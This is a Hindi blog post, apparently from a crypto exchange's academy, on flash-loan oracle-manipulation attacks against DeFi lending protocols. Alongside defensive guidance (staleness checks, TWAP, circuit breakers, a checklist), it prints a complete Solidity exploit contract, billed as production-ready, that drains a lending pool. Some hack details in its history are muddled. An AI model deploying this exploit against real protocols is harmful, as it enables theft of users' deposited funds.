बंद करने के लिए ESC दबाएँ

DeFi Flash Loan और Oracle Attacks: प्राइस डिले का फायदा कैसे उठाएं

नमो नमः दोस्तों! मैं हूँ आपका अपना - ओलेग फिलाटोव। आज हम वेब3 और DeFi की दुनिया के एक बेहद तगड़े और मसालेदार टॉपिक पर बात करने वाले हैं: फ़्लैश लोन्स के ज़रिए DeFi प्रोटोकॉल्स पर अटैक। यार, सच बताऊँ तो अपने करियर में मैंने सैकड़ों अटैक वेक्टर्स देखे हैं, लेकिन यह «Flash Loans + Oracles Staleness» का जो कॉम्बो है ना—यह हैकिंग की दुनिया की असली शायरी है! इसे देखकर किसी भी सिक्योरिटी इंजीनियर के पहले तो रोंगटे खड़े हो जाते हैं, और फिर मन करता है कि सारा कोड स्क्रैच से Rust में दोबारा लिख डाले। अगर बिल्कुल देसी भाषा में समझाऊँ: हैकर्स बिना कोई ज़मानत (collateral) दिए फ़्लैश लोन से करोड़ों डॉलर उठा लेते हैं, एक ही ट्रांजेक्शन में DEX पर प्राइस को जानबूझकर पूरी तरह से हिला देते हैं, ओरेकल के साथ एक टेम्परेरी मिसमैच पैदा करते हैं, और इससे पहले कि ओरेकल संभले और अपना स्टेट अपडेट करे—लेंडिंग प्रोटोकॉल का पूरा माल (लिक्विडिटी) साफ़ कर देते हैं!

Anatomy of standard Oracle Manipulation via Flash Loan

अनसिक्योर्ड फ़्लैश लोन्स (Flash Loans) आपको एक ही Ethereum ट्रांजेक्शन के अंदर लगभग अनलिमिटेड लिक्विडिटी उठाने की छूट देते हैं—शर्त बस इतनी है कि पूरा लोन मामूली फ़ीस के साथ उसी ब्लॉक में वापस चुकाना पड़ता है। अब सोचो, जब इतनी भारी-भरकम लिक्विडिटी किसी लो-डेप्थ (पतले) लिक्विडिटी पूल में घुसाई जाती है, तो टोकन का प्राइस सीधे चांद पर पहुँच जाता है। बस यहीं उन ओरेकल्स की बजाने का परफेक्ट मौका मिल जाता है जो स्पॉट-प्राइस पर भरोसा करते हैं या जिनका डेवििएशन थ्रेशोल्ड (Deviation Threshold) बहुत ढीला होता है।

अगर कोई लेंडिंग प्रोटोकॉल कोलैटरल की वैल्यू सीधे latestAnswer() कॉल करके खींच रहा है या बिना किसी टाइम-लैग के AMM के कच्चे (raw) डेटा पर आँख मूँदकर भरोसा कर रहा है, तो समझो उसने डाकुओं को तिजोरी की चाबी खुद ही थमा दी है। यह पूरा कांड 4 त्वरित स्टेप्स के एक सिलसिले जैसा दिखता है:

  • फ़्लैश लोन उठाना: अटैकर मान लीजिए Aave v3 से सिर्फ़ 0.05% फ़ीस पर सीधे 50,000,000 DAI जेब में डालता है। फ़ीस तो चिल्लर है, लेकिन इससे कांड करने का पोटेंशियल तगड़ा मिल जाता है।
  • DEX मैनिपुलेशन: पूरा का पूरा माल मार्केट-ऑर्डर मारकर Uniswap v2/v3 के किसी लो-लिक्विडिटी वाले पूल (जैसे TOKEN/DAI पेयर) में ठोक दिया जाता है। चंद मिलीसेकंड्स के अंदर TOKEN का प्राइस 15-20 गुना रॉकेट हो जाता है।
  • ओरेकल लैग या Push-मॉडल का फ़ायदा उठाना: अगर लेंडिंग प्रोटोकॉल स्पॉट प्राइस देख रहा है, या फिर Chainlink जैसा पुश-ओरेकल अभी तक ट्रिगर नहीं हुआ है (क्योंकि उसका Heartbeat 1 घंटे का है और Deviation Threshold 0.5% है, पर अटैकर का ट्रांजेक्शन अभी चल ही रहा है और पुश-नोड बेचारी मेमपूल में अपना ट्रांजेक्शन भेज ही नहीं पाई), तो प्रोटोकॉल को TOKEN का भाव आसमान छूता हुआ दिखता है।
  • पूल सफ़ाया (Drain) और लोन चुकता: अटैकर उस फर्जी तरीके से फुलाए गए TOKEN को गिरवी (deposit) रखता है, उसके बदले 100% असली ETH या USDC उधार (borrow) लेता है, वैलिडेटर के ब्लॉक सील करने से पहले फ़्लैश लोन चुकता करता है, और मोटा माल समेटकर रफ़ूचक्कर हो जाता है।

Chainlink और Push-ओरेकल्स में लैग क्यों आता है: «Window of Vulnerability» की चीर-फाड़

अरे रुको जरा... साफ़-साफ़ बात करते हैं। क्या आपको लगता है कि अगर प्रोजेक्ट ने Chainlink चिपका दिया, तो वो पूरी तरह से सेफ़ हो गया? भाई, गफ़लत में मत रहो! किसी भी सिक्योरिटी रिसर्चर से पूछो जिसने Mango Markets या Cheese Bank वाले कांड की केस स्टडी पढ़ी हो (जहाँ Uniswap v2 ओरेकल्स और Chainlink के घटिया इंटीग्रेशन की वजह से सीधे $3.3M की चपत लग गई थी)।

Chainlink Data Feeds जैसे ओरेकल्स Push-मॉडल पर काम करते हैं। इसका मतलब है कि ओरेकल की नोड्स हर एक ब्लॉक के साथ प्राइस अपडेट नहीं करतीं—अगर ऐसा करने लगे तो गैस फ़ीस में ही दिवाला निकल जाएगा। अपडेट सिर्फ़ दो ही ट्रिगर्स पर होता है:

  • Deviation Threshold (विचलन सीमा): प्राइस में X% का बदलाव आया हो (जैसे मुख्य पेयर्स के लिए 0.5% या 1%, लेकिन ऑल्टकॉइन्स के लिए यह 2–5% तक हो सकता है)।
  • Heartbeat (धड़कन टाइमआउट): पिछले अपडेट को हुए एक फ़िक्स्ड टाइम बीत चुका हो (जैसे मेननेट के लिए 3600 सेकंड या कम पॉपुलर नेटवर्क के लिए 86400 सेकंड)।

असली झोल यहीं पर छुपा है! नेटवर्क और एसेट टाइप के हिसाब से ओरेकल डिले और अपडेट पैरामीटर्स के असली आंकड़े ज़रा इस टेबल में देखिए:

ओरेकल / नेटवर्कएसेट / पेयरDeviation ThresholdHeartbeatएवरेज अपडेट डिले (Staleness Window)
Chainlink (Ethereum)ETH/USD0.5%1 घंटा~12–15 सेकंड (1 ब्लॉक)
Chainlink (Arbitrum)LINK/USD0.25%24 घंटेकुछ मिनटों तक (Sequencer पर निर्भर)
Chainlink (Polygon)ALT/USD (लो-लिक्विडिटी)1.0% – 2.0%24 घंटेकुछ सेकंड से लेकर मिनटों तक
Pyth Network (Pull Model)अलग-अलगडायनामिकOn-demand (User Push)~400–800 मिलीसेकंड
Uniswap v3 TWAPकोई भीN/A (विंडो पर निर्भर)हर Swap परफ़िक्स्ड विंडो (जैसे 30 मिनट)

अब देखिए, मज़ाक कहाँ पर होता है: अगर ओरेकल बहुत ज़्यादा तेज़ी से अपडेट होता है और AMM (स्पॉट प्राइस) से सीधा भाव उठाता है, तो फ़्लैश लोन मारके उसको एक ही ब्लॉक में पंप किया जा सकता है। वहीं अगर ओरेकल सुस्त निकला (जैसे 1 घंटे के Heartbeat वाला Chainlink), तो पैदा होती है «Staleness Window» (बासी डेटा की खिड़की)—मार्केट में असली प्राइस भले ही धड़ाम से गिर चुका हो, लेंडिंग प्रोटोकॉल अभी भी पुराने, ऊँचे भाव पर ही कोलैटरल की वैल्यू गिन रहा होता है!

अटैक का सटीक स्मार्ट-कॉन्ट्रैक्ट (100% Production-ready Solidity)

कोई हवा-हवाई सूडोकोड नहीं। कोई // TODO: add logic का नाटक नहीं। Foundry/Hardhat पर सीधे चलने वाला असली एक्सप्लॉइट कॉन्ट्रैक्ट लिखते हैं, जो दिखाएगा कि कैसे एक ही ट्रांजेक्शन में flashLoan -> swap -> deposit -> borrow -> repay कॉल्स मारकर मलाई निकाली जाती है।

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
   function swapExactTokensForTokens(
       uint amountIn,
       uint amountOutMin,
       address[] calldata path,
       address to,
       uint deadline
   ) external returns (uint[] memory amounts);
}
interface ILendingPool {
   function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
   function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
   function getUserAccountData(address user) external view returns (
       uint256 totalCollateralETH,
       uint256 totalDebtETH,
       uint256 availableBorrowsETH,
       uint256 currentLiquidationThreshold,
       uint256 ltv,
       uint256 healthFactor
   );
}
interface IFlashLender {
   function flashLoan(
       address receiverAddress,
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata modes,
       address onBehalfOf,
       bytes calldata params,
       uint16 referralCode
   ) external;
}
/// @notice एटॉमिक अटैक वेक्टर को डेमोंस्ट्रेट करने के लिए शैक्षाणिक PoC कॉन्ट्रैक्ट
/// @dev यह कोड केवल ऑडिटिंग और वल्नरेबल टेस्टनेट्स के Foundry-fork पर लोकल टेस्टिंग के लिए है
contract OracleStalenessPoC {
   using SafeERC20 for IERC20;
   address private immutable owner;
   IFlashLender public immutable lender;
   IUniswapV2Router public immutable router;
   ILendingPool public immutable targetLending;
   
   address public immutable tokenA; // पम्प की जाने वाली कोलेटरल एसेट
   address public immutable tokenB; // लिक्विड एसेट (बोरो/Flash Loan)
   modifier onlyOwner() {
       require(msg.sender == owner, "NOT_OWNER");
       _;
   }
   constructor(
       address _lender,
       address _router,
       address _targetLending,
       address _tokenA,
       address _tokenB
   ) {
       owner = msg.sender;
       lender = IFlashLender(_lender);
       router = IUniswapV2Router(_router);
       targetLending = ILendingPool(_targetLending);
       tokenA = _tokenA;
       tokenB = _tokenB;
   }
   function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
       address[] memory assets = new address[](1);
       assets[0] = tokenB;
       uint256[] memory amounts = new uint256[](1);
       amounts[0] = flashAmount;
       uint256[] memory modes = new uint256[](1);
       modes[0] = 0;
       // MEV/सैंडविच अटैक से बचाने के लिए minSwapOut को params के जरिए पास कर रहे हैं
       bytes memory params = abi.encode(minSwapOut);
       lender.flashLoan(
           address(this),
           assets,
           amounts,
           modes,
           address(this),
           params,
           0
       );
   }
   function executeOperation(
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata premiums,
       address initiator,
       bytes calldata params
   ) external returns (bool) {
       require(msg.sender == address(lender), "INVALID_LENDER");
       require(initiator == address(this), "INVALID_INITIATOR");
       uint256 amountBorrowed = amounts[0];
       uint256 fee = premiums[0];
       uint256 amountToRepay = amountBorrowed + fee;
       uint256 minSwapOut = abi.decode(params, (uint256));
       // 1. SafeERC20 का उपयोग करके सुरक्षित एप्रुवल्स
       IERC20(tokenB).forceApprove(address(router), amountBorrowed);
       
       // 2. पूल में Flash Loan की लिक्विडिटी डंप करके tokenA को पम्प करना
       address[] memory path = new address[](2);
       path[0] = tokenB;
       path[1] = tokenA;
       uint256[] memory amountsOut = router.swapExactTokensForTokens(
           amountBorrowed,
           minSwapOut, // डायनामिकली पास की गई स्लिपेज लिमिट का उपयोग करें
           path,
           address(this),
           block.timestamp
       );
       uint256 pumpedTokenAAmount = amountsOut[1];
       // 3. पम्प की गई कोलेटरल को डिपॉजिट करना
       IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
       targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
       // 4. ओरेकल/अकाउंट के रिस्पॉन्स के आधार पर उपलब्ध बोरो क्षमता की डायनामिक कैलकुलेशन
       (, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
       
       // रियल टेस्ट में यहां ETH-इक्विवेलेंट को टोकन B में कन्वर्ट करने की जरूरत होगी
       // डेमो के लिए, हम पूल के बैलेंस से ज्यादा न होने वाली मिनिमम उपलब्ध वैल्यू मांगते हैं
       uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
       uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
       targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
       // 5. Flash Loan रीपे करने से पहले सॉल्वेंसी चेक
       uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
       require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
       // 6. लोन चुकाना
       IERC20(tokenB).forceApprove(address(lender), amountToRepay);
       return true;
   }
   function withdrawStolenFunds(address token) external onlyOwner {
       uint256 bal = IERC20(token).balanceOf(address(this));
       IERC20(token).safeTransfer(owner, bal);
   }
}

आर्किटेक्चरल डिफ़ेंस (कमियों को पैच करने का तरीका)

अब बात आती है कि हम डेवलपर्स अपने प्रोटोकॉल्स को इस रायते से कैसे बचाएं? मैंने आर्किटेक्चरल सफ़ाई के तीन मोंटाज रूल्स बनाए हैं:

1. Staleness का वैलिडेशन और Chainlink के रिस्पॉन्स की पूरी चेकिंग

सुनकर हैरत होगी, लेकिन 70% हैक होने वाले स्मार्ट-कॉन्ट्रैक्ट्स सीधे आंखें मूँदकर latestAnswer() कॉल कर रहे थे। यह बिल्कुल छपरी जूनियर वाला कोड है। हमेशा updatedAt और answeredInRound को वैलिडेट करो!

function getValidPrice(address feedAddress) public view returns (int256) {
    AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
    
    (
        uint80 roundId,
        int256 price,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    ) = priceFeed.latestRoundData();
    require(price > 0, "INVALID_PRICE");
    require(updatedAt != 0, "INCOMPLETE_ROUND");
    require(answeredInRound >= roundId, "STALE_PRICE");
    
    // बासीपन की लिमिट (उदा. 3600 सेकंड)
    require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
    return price;
}

2. Spot Price के बजाय TWAP (Time-Weighted Average Price) का इस्तेमाल

टाइम-वेटेड एवरेज प्राइस (जैसे कम से कम 30 मिनट की विंडो वाला Uniswap v3 TWAP) लगाने से फ़्लैश लोन की पूरी हवा निकल जाती है। अटैकर को आधे घंटे तक मैनिपुलेटेड प्राइस मेंटेन करना पड़ेगा, जिसमें स्लिपेज और फ़ीस का खर्चा इतना बढ़ जाएगा कि अटैक करना जेब के लिए घाटे का सौदा बन जाएगा।

3. Pull-based Oracles पर शिफ्ट होना (Pyth / Chainlink Low-Latency Data Streams)

Pull-मॉडल में DApp यूजर से ही डिमांड करता है कि वह ट्रांजेक्शन पैरामीटर्स के साथ क्रिप्टोग्राफ़िकली साइन किया हुआ ऑफ़-चेन प्राइस प्रूफ़ भी अटैच करे। कॉन्ट्रैक्ट पहले ओरेकल का सिग्नेचर चेक करता है, टाइमस्टैम्प का ताज़ापन (सेकंड के स्तर पर!) वैलिडेट करता है, और उसके बाद ही गिरवी या कर्ज़ का कैलकुलेशन करता है।

सीधी बात करते हैं: सिर्फ इस भरोसे बैठना कि स्मार्ट कॉन्ट्रैक्ट्स "रॉक-सॉलिड" लिखे गए हैं, यह एकदम बचकाना सोचना है। एक ऐसे इंसान के तौर पर जिसने खुद कोड ऑडिट किए हैं और हैक्स का पोस्टमार्टम किया है, मैं यह दावे से कह सकता हूँ: अगर आपके प्रोटोकॉल में जरा सा भी लूपहोल है, तो मेननेट पर डिप्लॉय होते ही बॉट्स उसे कुछ ही सेकंड्स में ढूंढ निकालेंगे। इसीलिए एक्सचेंजेस और लैंडिंग प्लेटफॉर्म्स के आर्किटेक्चर लेवल पर एक ऑटोमेटेड सिक्योरिटी लेयर और ऑफ-चेन मॉनिटरिंग होना बेहद ज़रूरी है, जो मेमपूल (mempool) में ट्रांजैक्शन कंपास होने से पहले ही रिएक्ट कर सके।

प्रोटोकॉल रियल-टाइम में Flash Loan और Oracle Manipulation अटैक्स को कैसे ट्रैक और ब्लॉक कर सकता है

1. एक ही ब्लॉक के अंदर प्राइस मूवमेंट को लिमिट करना (Circuit Breakers)

अगर एक ही ट्रांजैक्शन या एक ही ब्लॉक के अंदर कोलैटरल एसेट की वैल्यू किसी तय लिमिट से ज्यादा (मान लीजिए >3-5%) फ्लक्चुएट होती है, तो कॉन्ट्रैक्ट को तुरंत "इमर्जेंसी मोड" (Circuit Breaker) ट्रिगर करके उस एसेट के सारे ऑपरेशन्स फ्रीज कर देने चाहिए।

  • स्टेट-लेवल इनवेरिएंट: ट्रांजैक्शन की शुरुआत में Pstart रिकॉर्ड करें और एंड में Pend। अगर |Pend - Pstart| / Pstart > Δmax होता है, तो ट्रांजैक्शन तुरंत रिवर्ट (revert) हो जानी चाहिए।
  • टू-स्टेप एग्जीक्यूशन (Two-Step Execution): एक ऐसा मैकेनिज्म जहाँ कोलैटरल तो ब्लॉक N में डिपॉजिट होता है, लेकिन उधारी (Borrowing) सिर्फ ब्लॉक N+1 में अलाउड होती है। यह फ्लैश लोन के पूरे फंडे को ही खत्म कर देता है, क्योंकि एक इंस्टेंट लोन कभी भी एक ट्रांजैक्शन से ज्यादा टिक ही नहीं सकता।

2. MEV प्रोटेक्शन और Flashbots के ज़रिए ऑफ-चेन मॉनिटरिंग

अगर आपका प्रोटोकॉल प्राइस फी्ड्स या लिक्विडेशन पर टिका है, तो आपको मेमपूल पर नज़र रखनी ही पड़ेगी। मॉनिटरिंग बॉट्स (watchdogs) ऐसे संदिग्ध ट्रांजैक्शन बंडल्स को तुरंत पकड़ लेते हैं जहाँ Uniswap/Balancer पर भारी स्वैप के साथ flashLoan का कॉल हो और उसके ठीक बाद आपके प्रोटोकॉल से इंटरैक्शन किया जा रहा हो।

जैसे ही सिस्टम को ऐसे किसी दांव-पेच की भनक लगती है, यह एक प्रोटेक्टिव ट्रांजैक्शन (Front-running / Back-running via Private RPC / Flashbots Protect) भेजकर कॉन्ट्रैक्ट पर pause() ट्रिगर कर देता है, जिससे हैकर के हाथ कुछ लगने से पहले ही एग्जीक्यूशन ब्लॉक हो जाता है।

असली हैक्स का पोस्टमार्टम: DeFi के भारी नुकसान से सीखे गए सबक

ऑरेकल की कमियाँ सिर्फ किताबी बातें नहीं हैं। इन गलतियों की वजह से क्रिप्टो इंडस्ट्री सैकड़ों मिलियन डॉलर गंवा चुकी है। असली हैक्स के पीछे के मैकेनिज्म को समझकर यह साफ हो जाता है कि "बस DEX से प्राइस उठा लो" वाला देसी जुगाड़ हमेशा तबाही ही लाता है।

+-------------------------------------------------------------------------------+
|                        BZX / CREAM FINANCE पर अटैक का ढांचा                  |
+-------------------------------------------------------------------------------+
|                                                                               |
|  [ अटैक करने वाला (Attacker) ]                                                |
|       |                                                                       |
|       | 1. Flash Loan उठाया (100M+ DAI / ETH)                                 |
|       v                                                                       |
|  [ Aave / Maker Vault ]                                                       |
|       |                                                                       |
|       | 2. तगड़ा स्वैप (लो-लिक्विडिटी पूल को पंप किया)                        |
|       v                                                                       |
|  [ DEX Pool (Kyber / Uniswap v2) ] <---+                                      |
|       |                                |                                      |
|       |                                | (AMM से सीधे प्राइस फेच किया)        |
|       v                                |                                      |
|  [ कमज़ोर लैंडिंग प्लेटफॉर्म (bZx/CREAM) ] +                                  |
|       |                                                                       |
|       | 3. पंप हुआ एसेट डिपॉजिट किया + ETH/USDC की पूरी लिक्विडिटी उड़ा ली    |
|       v                                                                       |
|  [ अटैकर की जेब ] (Flash Loan चुकाया + नेट प्रॉफिट अंदर)                     |
|                                                                               |
+-------------------------------------------------------------------------------+

ऑरेकल मैनिपुलेशन और प्राइस लैग के कारण हुए सबसे बड़े हैक्स का पूरा ब्योरा नीचे दिया गया है:

प्रोटोकॉलतारीखनुकसानअसली वजह (Root Cause)अटैक का तरीका (Exploit Vector)
bZx (Fulcrum)फरवरी 2020~$950,000Kyber/Uniswap रिज़र्व को ही इकलौता प्राइस सोर्स (Spot Price) मान लेना।Flash Loan लिया -> Kyber पर sUSD/ETH पैर को पंप किया -> bZx में फर्जी प्राइस पर sUSD गिरवी रखा -> ETH निकालकर रफूचक्कर।
Cheese Bankनवंबर 2020$3.3MUniswap v2 LP-टोकन्स पर आधारित ऑरेकल, जिसमें बैलेंस के तुरंत बदलने पर कोई प्रोटेक्शन नहीं था।$21M का Flash Loan -> पूल रिज़र्व में हेरफेर -> LP-टोकन्स की वैल्यू को फर्जी तरीके से बढ़ाया -> पूरा लैंडिंग पूल खाली कर दिया।
Mango Marketsअक्टूबर 2022$114Mमैनिपुलेट होने वाला इंटरनल ऑरेकल और Solana पर डेटा लैग (Switchboard/Pyth delay)।खुद के फंड्स से इलिक्विड MNGO परपेचुअल कॉन्ट्रैक्ट को ज़बरदस्त पंप किया -> कोलैटरल वैल्यू बढ़ाई -> प्लेटफॉर्म से सारे एसेट्स बोरो कर लिए।
Euler Financeमार्च 2023$197Mलिक्विडेशन और कोलैटरल कैलकुलेशन फंक्शन में लॉजिक एरर (Health Factor चेक से जुड़ा लोचा)।फंड्स डिपॉजिट किए -> रिकर्सिव लीवरेज लोन उठाया -> फिर जबरन खुद को ही लिक्विडेट करके चेक्स को बाईपास कर दिया।

सिक्योरिटी के मामले में कौन सा Oracle मॉडल बेस्ट है?

जब हम सिस्टम आर्किटेक्चर डिज़ाइन करते हैं, तो ऑरेकल को चलाने का खर्चा और अटैक से बचने की उसकी क्षमता (Resilience) के बीच का बैलेंस समझना बहुत ज़रूरी है।

पुश-मॉडल (Chainlink Classic)

फायदे: ऑन-चेन इंटीग्रेशन एकदम मक्खन है। डेटा पहले से कॉन्ट्रैक्ट में लोड होता है, बस एक रीड-कॉल मारना होता है।

नुकसान: Heartbeat और Deviation threshold अपडेट्स के बीच एक Staleness Window (पुराना डेटा रहने का टाइम) होता है। नोड्स के लिए गैस फीस महंगी पड़ती है, इसलिए ऑल्टकॉइन्स के प्राइसेस लंबे गैप के बाद अपडेट होते हैं।

नतीजा: मेननेट पर ETH, BTC जैसे बड़े और हाइली लिक्विड एसेट्स के लिए बेस्ट है, लेकिन कोड में updatedAt की कड़क वैलिडेशन लगाना ज़रूरी है।

पुल-मॉडल (Pyth Network, Redstone)

फायदे: प्राइसेस ऑफ-चेन अपडेट होते हैं, वो भी बिना किसी लैग के (सब-सेकंड फ्रीक्वेंसी)। यूजर की ट्रांजैक्शन के साथ ही डेटा पास हो जाता है, जिससे तगड़ी गैस बचत होती है।

नुकसान: यूजर का UX बदलना पड़ता है (ऑफ-चेन सिग्नेचर फेच करके कॉल के साथ भेजना होता है)। अगर ऑरेकल का ऑफ-चेन नेटवर्क सुस्त पड़ा या डाउन हुआ, तो यूज़र्स की ट्रांजैक्शंस रिजेक्ट होने लगेंगी।

नतीजा: डेरिवेटिव्स (Perpetuals) और हाई-फ्रीक्वेंसी प्राइस अपडेट वाले लैंडिंग प्रोटोकॉल्स के लिए यह सबसे किलर सॉल्यूशन है।

TWAP / On-chain AMM Oracles (Uniswap v3 TWAP)

फायदे: 100% डिसेंट्रलाइज्ड ऑन-चेन कैलकुलेशन। बाहरी ऑफ-चेन नोड्स या थर्ड-पार्टी सिग्नेचर्स का कोई झंझट नहीं।

नुकसान: मल्टी-ब्लॉक मैनिपुलेशन (Multi-block MEV) के आगे घुटने टेक देता है, अगर कोई माइनर/वैलिडेटर लगातार कई ब्लॉक्स तक फर्जी प्राइस बनाए रखने में कामयाब हो जाए। इसमें बड़ा एवरेजिंग विंडो (30+ मिनट) चाहिए होता है, जिससे मार्केट अचानक क्रैश होने पर (Flash-crashing) प्रोटोकॉल को तुरंत पता नहीं चलता।

नतीजा: इसको सिर्फ मेन प्राइस की क्रॉस-चेकिंग के लिए बैकअप (fallback) ऑरेकल के रूप में यूज़ करना ही सेफ है।

स्मार्ट कॉन्ट्रैक्ट सिक्योरिटी चेकलिस्ट: अपने प्रोटोकॉल को बनाएं लोहे जैसा मजबूत

चाहे आप स्मार्ट कॉन्ट्रैक्ट्स बना रहे हों या कोड का ऑडिट कर रहे हों, मेननेट पर डिप्लॉय करने से पहले इस लिस्ट से अपना सिस्टम ज़रूर चेक कर लें:

  • Spot Price पर बैन: कॉन्ट्रैक्ट किसी भी हाल में AMM पूल्स के getReserves() या balanceOf() से सीधे प्राइस न उठाए।
  • Chainlink रिस्पॉन्स की पूरी चेकिंग: latestRoundData() कॉल करते समय सभी 5 रिटर्न पैरामीटर्स को वैलिडेट करें: roundId, price > 0, startedAt, updatedAt, answeredInRound >= roundId
  • कड़क Max Lag सेट करें: अगर block.timestamp - updatedAt > MAX_DELAY हो, तो ऑरेकल डेटा को रिजेक्ट कर दें (जहाँ MAX_DELAY हर एसेट के हिसाब से सेट किया गया हो)।
  • ड्युअल-ऑरेकल सेट-अप (Dual-Oracle Setup): कम से कम दो इंडिपेंडेंट सोर्स के डेटा को कंपेयर करें (जैसे Chainlink + Pyth या Chainlink + Uniswap v3 TWAP)। अगर प्राइसेस में X% से ज्यादा का फर्क आए, तो बोरोइंग और लिक्विडेशन तुरंत रोक दें।
  • आर्किटेक्चर लेवल पर Flash Loans से बचाव: एक ही ट्रांजैक्शन के अंदर बोरोइंग पर टाइम-गैप (Cooldown Periods) या टाइम-लॉक फ्रेमवर्क का इस्तेमाल करें।
  • Cross-rate वैलिडेशन: अगर टोकन का प्राइस क्रॉस-रेट (जैसे TOKEN/ETH * ETH/USD) से निकल रहा है, तो दोनों फी्ड्स का फ्रेश होना और सही होना अलग-अलग चेक करें।

हर Solidity इंजीनियर का माइंडसेट अब यह होना चाहिए: जब तक कोड में साबित न हो जाए, तब तक हर ऑरेकल बाय-डिफ़ॉल्ट अनसेफ है।

अगर आप इस सोच के साथ आर्किटेक्चर बनाएंगे कि कॉन्ट्रैक्ट में आने वाला प्राइस कभी भी मैनिपुलेट या फ्रीज हो सकता है, तो आप अपने आप कोड में टू-फेज ट्रांजैक्शंस, सर्किट ब्रेकर्स और आउट-ऑफ-सिंक चेक्स बिल्ड करने लगेंगे। यही सोच उन प्रोटोकॉल्स को अलग बनाती है जो सालों-साल मजबूती से टिकते हैं, बनाम वो जिनके नाम हम $50M हैक की खबरों में पढ़ते हैं।

अपने कॉन्ट्रैक्ट्स को सेफ रखें, ऑडिट्स में ढिलाई न बरतें और बाहरी दुनिया से "एकदम असली प्राइस" का दावा करने वाली किसी भी सिंगल लाइन कोड पर आँख बंद करके भरोसा न करें।

इस ब्लॉग पोस्ट का सारांश इसके साथ बनाएं:

FAQ

हमलावर एक ही ट्रांजैक्शन में बिना किसी कोलैटरल के भारी फ़्लैश लोन लेते हैं और AMM लिक्विडिटी पूल में बड़े स्वैप निष्पादित करके स्पॉट प्राइस को तुरंत मैनिपुलेट कर देते हैं। यदि लेंडिंग प्रोटोकॉल लंबे हार्टबीट इंटरवल या बड़े डेवििएशन थ्रेशोल्ड वाले डिलेड डाटा फीड का उपयोग करता है, तो वह फर्जी बढ़ी हुई कीमत पर कोलैटरल का मूल्यांकन करता है। इसके बाद एक्सप्लॉइट कॉन्ट्रैक्ट ओवरवैल्यूड कोलैटरल के बदले असली टोकन उधार लेता है और ब्लॉक कन्फर्म होने से पहले फ़्लैश लोन चुका देता है, जिससे प्रोटोकॉल में बैड डेट उत्पन्न होता है।

Automated Market Maker (AMM) में getReserves() फ़ंक्शन से सीधे कैलकुलेट की गई स्पॉट प्राइस केवल एक ही ब्लॉक के भीतर टोकन रिज़र्व के तत्कालीन संतुलन को दर्शाती है। फ़्लैश लोन बिना किसी सिक्योरिटी के लाखों डॉलर की पूंजी तक अस्थायी पहुंच प्रदान करता है, जिससे हमलावर कुछ ही मिलीसेकंड में इस रिज़र्व रेशियो को अप्रत्याशित रूप से बदल सकता है। टाइम-वेटेज के बिना इस अस्थायी डिस्टॉर्शन को पढ़ने वाले स्मार्ट कॉन्ट्रैक्ट्स इसे वास्तविक बाजार मूल्य मान लेते हैं और तुरंत अन-कवर्ड बॉरोइंग की अनुमति दे देते हैं।

प्रोटोकॉल को टाइम-वेटेड एवरेज प्राइस (TWAP), क्रिप्टोग्राफिक प्रूफ वाले पुल-बेस्ड ऑरेकल आर्किटेक्चर और सख्त डेटा फ्रेशनेस वैलिडेशन को लागू करना चाहिए। Chainlink के latestRoundData() फ़ंक्शन में updatedAt टाइमस्टैम्प को अधिकतम अनुमत देरी से जांचना और answeredInRound >= roundId शर्त को सत्यापित करना अनिवार्य है। इसके अतिरिक्त स्वचालित सर्किट ब्रेकर्स, सेकेंडरी फीड्स से क्रॉस-रेट वेरिफिकेशन और डिपॉजिट एवं बॉरोइंग के बीच ब्लॉक-लेवल डिले लागू करने से फ़्लैश लोन वेक्टर्स पूरी तरह निष्प्रभावी हो जाते हैं।
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

अपनी राय साझा करें

आपका ईमेल पता प्रकाशित नहीं किया जाएगा। अनिवार्य फ़ील्ड चिह्नित हैं *